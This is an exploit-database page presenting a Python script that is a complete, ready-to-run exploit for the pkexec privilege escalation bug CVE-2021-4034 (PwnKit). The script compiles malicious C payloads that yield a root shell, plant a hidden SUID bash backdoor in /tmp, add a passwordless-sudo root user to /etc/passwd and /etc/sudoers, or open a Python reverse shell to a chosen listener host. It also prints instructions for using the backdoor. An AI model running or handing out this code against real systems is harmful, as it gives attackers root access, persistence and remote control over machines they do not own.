Exploit databaseDownload repository ZIP
GH-bb0d0d072abd50aae511e240788dca87
devianntsec/cve-2021-4034
Sources for CVE-2021-4034
144 sourcesPreferred order: Exploit-DB, Metasploit, then GitHub repositories by stars. Open preferred source
Repository files1
devianntsec/cve-2021-4034Revision 7a129bf13f50
Files from this repository share one source choice. Supporting files may cover other vulnerabilities.
exploit/pwnkit.py
Suggested starting filePython · 14,916 bytes#!/usr/bin/env python3
"""
_ _ _
___ _ _ _ ___| |_|_| |_
| . | | | | | '_| | _|
| _|_____|_|_|_,_|_|_|
|_|
CVE-2021-4034 - PwnKit Advanced Exploit
Local Privilege Escalation in polkit's pkexec (0.105-31)
Author: Annais Molina (devianntsec)
Master's Thesis Research
"""
import os
import sys
import tempfile
import subprocess
import shutil
import argparse
import time
import crypt
import random
import string
# Terminal color configuration
class Colors:
GREEN = '\033[92m'
YELLOW = '\033[93m'
RED = '\033[91m'
BLUE = '\033[94m'
WHITE = '\033[1;97m'
GRAY = '\033[90m'
MAGENTA = '\033[95m'
CYAN = '\033[96m'
BOLD = '\033[1m'
UNDERLINE = '\033[4m'
END = '\033[0m'
class PwnKitExploit:
"""
Advanced exploit for CVE-2021-4034 (PwnKit)
Provides multiple payloads and post-exploitation capabilities
"""
def __init__(self, verbose=True, payload="shell", lhost="127.0.0.1", lport=4444, password="hacker123", username="root2"):
self.verbose = verbose
self.payload = payload
self.lhost = lhost
self.lport = lport
self.password = password
self.username = username
self.work_dir = tempfile.mkdtemp(prefix="pwnkit_")
self.original_dir = os.getcwd()
def log(self, msg, level='info'):
"""Colored logging for terminal output"""
prefix = {
'info': f"{Colors.BLUE}[*]{Colors.END}",
'success': f"{Colors.GREEN}[+]{Colors.END}",
'error': f"{Colors.RED}[-]{Colors.END}",
'warning': f"{Colors.YELLOW}[!]{Colors.END}",
'cmd': f"{Colors.MAGENTA}[$]{Colors.END}",
'debug': f"{Colors.CYAN}[D]{Colors.END}"
}.get(level, f"{Colors.CYAN}[?]{Colors.END}")
print(f"{prefix} {msg}")
if self.verbose and level == 'debug':
print(f" {Colors.CYAN}[DEBUG]{Colors.END} {msg}")
def success(self, msg):
"""Success message with green [+] prefix"""
self.log(msg, 'success')
def error(self, msg):
"""Error message with red [-] prefix and exit"""
self.log(msg, 'error')
sys.exit(1)
def generate_password_hash(self):
"""Generate password hash for /etc/passwd entry"""
salt = ''.join(random.choices(string.ascii_letters + string.digits, k=8))
return crypt.crypt(self.password, f"$6${salt}$")
def get_payload_code(self):
"""Return C code based on selected payload"""
full_path = "PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin"
payloads = {
"shell": f'''
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {{}}
void gconv_init(void *step)
{{
char * const args[] = {{ "/bin/sh", NULL }};
char * const environ[] = {{ "{full_path}", NULL }};
setuid(0);
setgid(0);
execve(args[0], args, environ);
exit(0);
}}
''',
"id": f'''
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {{}}
void gconv_init(void *step)
{{
setuid(0);
setgid(0);
putenv("{full_path}");
system("/usr/bin/id > /tmp/pwnkit_id.txt 2>&1");
system("/usr/bin/whoami >> /tmp/pwnkit_id.txt 2>&1");
exit(0);
}}
''',
"whoami": f'''
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {{}}
void gconv_init(void *step)
{{
setuid(0);
setgid(0);
putenv("{full_path}");
FILE *f = fopen("/tmp/pwnkit_root_test", "w");
if (f) {{
fprintf(f, "Executed as: %d (real UID)\\n", getuid());
fprintf(f, "Executed as: %d (effective UID)\\n", geteuid());
fclose(f);
}}
system("/usr/bin/id >> /tmp/pwnkit_root_test 2>&1");
system("/usr/bin/whoami >> /tmp/pwnkit_root_test 2>&1");
exit(0);
}}
''',
"backdoor_suid": f'''
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <sys/stat.h>
void gconv(void) {{}}
void gconv_init(void *step)
{{
setuid(0);
setgid(0);
putenv("{full_path}");
system("/bin/cp /bin/bash /tmp/.sh 2>/dev/null");
system("/bin/chmod 4755 /tmp/.sh 2>/dev/null");
system("/bin/chown root:root /tmp/.sh 2>/dev/null");
struct stat st;
stat("/tmp/.sh", &st);
if (st.st_mode & S_ISUID) {{
system("echo 'SUID backdoor successfully created in /tmp/.sh' > /tmp/pwnkit_backdoor");
}} else {{
system("echo 'ERROR: Could not set SUID bit' > /tmp/pwnkit_backdoor");
system("/bin/chmod u+s /tmp/.sh 2>/dev/null");
}}
system("/bin/ls -la /tmp/.sh >> /tmp/pwnkit_backdoor 2>&1");
char * const args[] = {{ "/tmp/.sh", "-p", NULL }};
execve(args[0], args, NULL);
exit(0);
}}
''',
"add_root_user": f'''
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void gconv(void) {{}}
void gconv_init(void *step)
{{
setuid(0);
setgid(0);
putenv("{full_path}");
char user_cmd[512];
snprintf(user_cmd, sizeof(user_cmd),
"echo '%s:{self.generate_password_hash()}:0:0:%s:/root:/bin/bash' >> /etc/passwd",
"{self.username}", "{self.username}");
system(user_cmd);
char sudo_cmd[512];
snprintf(sudo_cmd, sizeof(sudo_cmd),
"echo '%s ALL=(ALL) NOPASSWD:ALL' >> /etc/sudoers 2>/dev/null",
"{self.username}");
system(sudo_cmd);
char cmd[512];
snprintf(cmd, sizeof(cmd),
"echo 'User %s created with password: {self.password}' > /tmp/pwnkit_user_added",
"{self.username}");
system(cmd);
char id_cmd[256];
snprintf(id_cmd, sizeof(id_cmd), "/usr/bin/id %s >> /tmp/pwnkit_user_added 2>&1", "{self.username}");
system(id_cmd);
exit(0);
}}
''',
"reverse_shell": f'''
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
#include <string.h>
void gconv(void) {{}}
void gconv_init(void *step)
{{
setuid(0);
setgid(0);
char full_cmd[1024];
snprintf(full_cmd, sizeof(full_cmd),
"/usr/bin/python3 -c 'import socket,subprocess,os;s=socket.socket();"
"s.connect((\\\"{self.lhost}\\\",{self.lport}));"
"os.dup2(s.fileno(),0);"
"os.dup2(s.fileno(),1);"
"os.dup2(s.fileno(),2);"
"subprocess.call([\\\"/bin/bash\\\"])'",
"{self.lhost}", {self.lport});
FILE *f = fopen("/tmp/pwnkit_rs.sh", "w");
if (f) {{
fprintf(f, "#!/bin/sh\\n");
fprintf(f, "%s\\n", full_cmd);
fclose(f);
system("/bin/chmod +x /tmp/pwnkit_rs.sh");
char * const args[] = {{ "/bin/sh", "/tmp/pwnkit_rs.sh", NULL }};
char * const environ[] = {{ "{full_path}", NULL }};
execve(args[0], args, environ);
}}
exit(0);
}}
''',
"custom": f'''
#include <stdio.h>
#include <stdlib.h>
#include <unistd.h>
void gconv(void) {{}}
void gconv_init(void *step)
{{
setuid(0);
setgid(0);
putenv("{full_path}");
system("%s");
exit(0);
}}
'''
}
return payloads.get(self.payload, payloads["shell"])
def create_pwnkit_c(self, custom_cmd=None):
"""Create pwnkit.c with selected payload"""
if self.payload == "custom" and custom_cmd:
escaped_cmd = custom_cmd.replace('"', '\\"').replace("'", "\\'")
content = self.get_payload_code() % escaped_cmd
else:
content = self.get_payload_code()
file_path = os.path.join(self.work_dir, "pwnkit.c")
with open(file_path, "w") as f:
f.write(content)
return file_path
def create_cve_c(self):
"""Create the exploit C file"""
content = '''#include <unistd.h>
int main(int argc, char **argv)
{
char * const args[] = { NULL };
char * const environ[] = {
"pwnkit.so:.",
"PATH=GCONV_PATH=.",
"SHELL=/lol/i/do/not/exists",
"CHARSET=PWNKIT",
"GIO_USE_VFS=",
NULL
};
return execve("/usr/bin/pkexec", args, environ);
}
'''
file_path = os.path.join(self.work_dir, "cve-2021-4034.c")
with open(file_path, "w") as f:
f.write(content)
return file_path
def compile(self):
"""Compile everything"""
os.chdir(self.work_dir)
self.log("Compiling pwnkit.so...")
result = os.system("gcc -Wall --shared -fPIC -o pwnkit.so pwnkit.c 2>/dev/null")
if result != 0:
self.error("Failed to compile pwnkit.so")
self.log("Compiling exploit...")
result = os.system("gcc -Wall cve-2021-4034.c -o cve-2021-4034 2>/dev/null")
if result != 0:
self.error("Failed to compile exploit")
def setup_environment(self):
"""Setup GCONV_PATH environment"""
self.log("Creating gconv-modules...")
with open("gconv-modules", "w") as f:
f.write("module UTF-8// PWNKIT// pwnkit 1\n")
os.mkdir("GCONV_PATH=.")
true_path = subprocess.run(["which", "true"],
capture_output=True, text=True).stdout.strip()
os.system(f"cp {true_path} GCONV_PATH=./pwnkit.so:.")
with open("GCONV_PATH=./pwnkit.so:.", "w") as f:
f.write("")
os.chmod("GCONV_PATH=./pwnkit.so:.", 0o755)
def run(self, custom_cmd=None):
"""Execute the exploit"""
print("\n" + "="*60)
print(f"PwnKit CVE-2021-4034 - Payload: {self.payload}")
print("="*60 + "\n")
self.log(f"Working directory: {self.work_dir}")
self.create_pwnkit_c(custom_cmd)
self.create_cve_c()
self.compile()
self.setup_environment()
print(f"\n[!] Executing payload...")
print("-"*50)
os.system("./cve-2021-4034")
time.sleep(2)
# Show results for non-interactive payloads
if self.payload == "id":
print("\n[*] Results:")
print("-"*40)
os.system("cat /tmp/pwnkit_id.txt 2>/dev/null")
elif self.payload == "whoami":
print("\n[*] Results:")
print("-"*40)
os.system("cat /tmp/pwnkit_root_test 2>/dev/null")
elif self.payload == "backdoor_suid":
print("\n[*] Results:")
print("-"*40)
os.system("cat /tmp/pwnkit_backdoor 2>/dev/null")
print("\n[*] BACKDOOR INSTALLED:")
os.system("ls -la /tmp/.sh")
print("\n[*] To use the backdoor:")
print(" /tmp/.sh -p")
print(" whoami # Should show 'root'")
elif self.payload == "add_root_user":
print("\n[*] Results:")
print("-"*40)
os.system("cat /tmp/pwnkit_user_added 2>/dev/null")
print(f"\n[*] User created: {self.username}")
print(f" Password: {self.password}")
print(" To access: su {self.username}")
elif self.payload == "reverse_shell":
print(f"\n[*] Reverse shell sent to {self.lhost}:{self.lport}")
print(f"[*] Check your listener: nc -lvnp {self.lport}")
self.cleanup()
def cleanup(self):
"""Clean up temporary directory"""
self.log("Cleaning up...")
os.chdir(self.original_dir)
shutil.rmtree(self.work_dir, ignore_errors=True)
def banner():
"""Display banner"""
print(f"""{Colors.WHITE}
╔══════════════════════════════════════════════════════════╗
║ ║
║ {Colors.GRAY}_ _ _{Colors.WHITE} ║
{Colors.WHITE}║ {Colors.GRAY}___ _ _ _ ___| |_|_| |_{Colors.WHITE} ║
{Colors.WHITE}║ {Colors.GRAY}| . | | | | | '_| | _|{Colors.WHITE} ║
{Colors.WHITE}║ {Colors.GRAY}| _|_____|_|_|_,_|_|_|{Colors.WHITE} ║
{Colors.WHITE}║ {Colors.GRAY}|_|{Colors.WHITE} ║
║ ║
║ {Colors.RED}CVE-2021-4034 - PwnKit Advanced Exploit{Colors.WHITE} ║
║ Local Privilege Escalation in polkit's pkexec ║
║ ║
║ Author: {Colors.YELLOW}Annais Molina (devianntsec){Colors.WHITE} ║
║ Research: {Colors.YELLOW}Master's Thesis Project{Colors.WHITE} ║
║ ║
╚══════════════════════════════════════════════════════════╝{Colors.END}
""")
def main():
banner()
parser = argparse.ArgumentParser(description='CVE-2021-4034 - PwnKit Advanced Exploit')
parser.add_argument('-p', '--payload',
choices=["shell", "id", "whoami", "backdoor_suid",
"add_root_user", "reverse_shell", "custom"],
default="shell",
help="Payload to execute")
parser.add_argument('-c', '--command',
help="Custom command (for custom payload)")
parser.add_argument('--lhost', default="127.0.0.1",
help="LHOST for reverse shell")
parser.add_argument('--lport', type=int, default=4444,
help="LPORT for reverse shell")
parser.add_argument('--password', default="hacker123",
help="Password for new root user")
parser.add_argument('--username', default="root2",
help="Username for add_root_user payload (default: root2)")
parser.add_argument('-q', '--quiet', action='store_true',
help="Quiet mode (minimal output)")
args = parser.parse_args()
if args.payload == "custom" and not args.command:
print(f"{Colors.RED}[!]{Colors.END} Custom payload requires -c 'command'")
sys.exit(1)
exploit = PwnKitExploit(
verbose=not args.quiet,
payload=args.payload,
lhost=args.lhost,
lport=args.lport,
password=args.password,
username=args.username
)
try:
exploit.run(custom_cmd=args.command)
except KeyboardInterrupt:
print(f"\n{Colors.YELLOW}[!]{Colors.END} Interrupted")
exploit.cleanup()
if __name__ == "__main__":
main()